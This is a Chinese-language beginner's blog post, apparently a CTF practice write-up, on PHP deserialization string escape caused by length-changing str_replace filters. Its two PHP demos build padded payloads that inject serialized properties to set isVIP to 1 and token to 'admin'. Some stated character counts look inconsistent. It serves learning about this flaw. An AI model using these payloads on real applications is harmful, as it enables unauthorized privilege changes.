php反序列化逃逸

php反序列化逃逸

逃逸是php中反序列化时的恶意利用,以ctf为例演示

第一段演示

逃逸为ctf反序列化的内容,主要是对序列化对象进行过滤,其中替换串长度不一致,造成字符逃逸。攻击者可以构造恶意的payload,改变对象中的属性,达到恶意利用

php 复制代码
<?php

class  user{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u,$p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($s)
{
    return str_replace("admin","hacker",$s);
}

$u = new user("admin",'123456');
$u_ser = serialize($u);
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

echo PHP_EOL;
$us = filter($u_ser);
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

//过滤前,过滤后
//O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
//O:4:"user":3:{s:8:"username";s:52:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}


//";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} is length of 47

$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");
$u_ser = serialize($u);
$filterted =  filter($u_ser);
//O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
//forget of modify value of vip, it should be (int)1

$obj = unserialize($filterted);
var_dump($obj);

最终的目的是修改对象的isVIP属性为1,通过反序列化

对象u进行序列化,很正常

us对u的内容作替换,将admin替换为hacker,长度不一样,有逃逸风险

比如
s:5:"hacker";就是这个属性看5位,将它反序列化,内容就变成了hacke,r就逃逸了

原因是它本来是admin是5位,通过过滤直接替换,造成纰漏

尝试构造payload
$u = new user('admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}',"123456");

其中";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}是截取出来的

尝试逃逸
$u = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}',"123456");这么多重复的admin都将被替换为hacker。admin有282个字符,全部替换为hacker后就有了逃逸的条件。让原来的序列化内容容纳下";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;},而长度还是282,就是读到";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}就结束,在反序列化时形成一个完整的对象

这样一来就可在var_dump看到isVIP属性确实遭到更改var_dump($obj);

第二段说明

php 复制代码
<?php
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$obj = new message('fuck','b','c');

function filter($obj){
    return str_replace('fuck', 'loveU', $obj);
}

$objSer = serialize($obj);
echo $objSer;
//O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}


echo PHP_EOL;
$objSerFil = filter($objSer);
echo $objSerFil;
//O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//could flee
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

//fix it to
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

//payload(62 char)
//";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

echo PHP_EOL;
$objHack = new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c');
echo serialize($objHack);

$answer = 'O:7:"message":4:{s:4:"from";s:310:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}';
$answer = filter($answer);

echo PHP_EOL;
var_dump(unserialize($answer));
//it works

echo PHP_EOL;
echo base64_encode($answer);

这段代码来自我做ctfshow线上靶场时的记录,看上去更清晰一些吧

结合注释观察,很容易懂

结合writeup的视频的建议,新手慢点写,是容易做对的

结语

这篇博客也是随手记录,我是新手,还请各位佬们多多批评指正

(悄摸把封面图房上,嘻嘻)

相关推荐
三金121386 分钟前
SpringIoC容器的初识
网络·网络协议·rpc
网络研究院22 分钟前
Android 安卓内存安全漏洞数量大幅下降的原因
android·安全·编程·安卓·内存·漏洞·技术
XKSYA(小巢校长)1 小时前
NatGo我的世界联机篇
开发语言·php
Cons.W1 小时前
Codeforces Round 975 (Div. 1) C. Tree Pruning
c语言·开发语言·剪枝
憧憬成为原神糕手1 小时前
c++_ 多态
开发语言·c++
VBA63371 小时前
VBA信息获取与处理第三个专题第三节:工作薄在空闲后自动关闭
开发语言
狼头长啸李树身1 小时前
眼儿媚·秋雨绵绵窗暗暗
大数据·网络·服务发现·媒体
wjs20242 小时前
XSLT 实例:掌握 XML 转换的艺术
开发语言
萧鼎2 小时前
Python第三方库选择与使用陷阱避免
开发语言·python
SizeTheMoment2 小时前
初识HTTP协议
网络·网络协议·http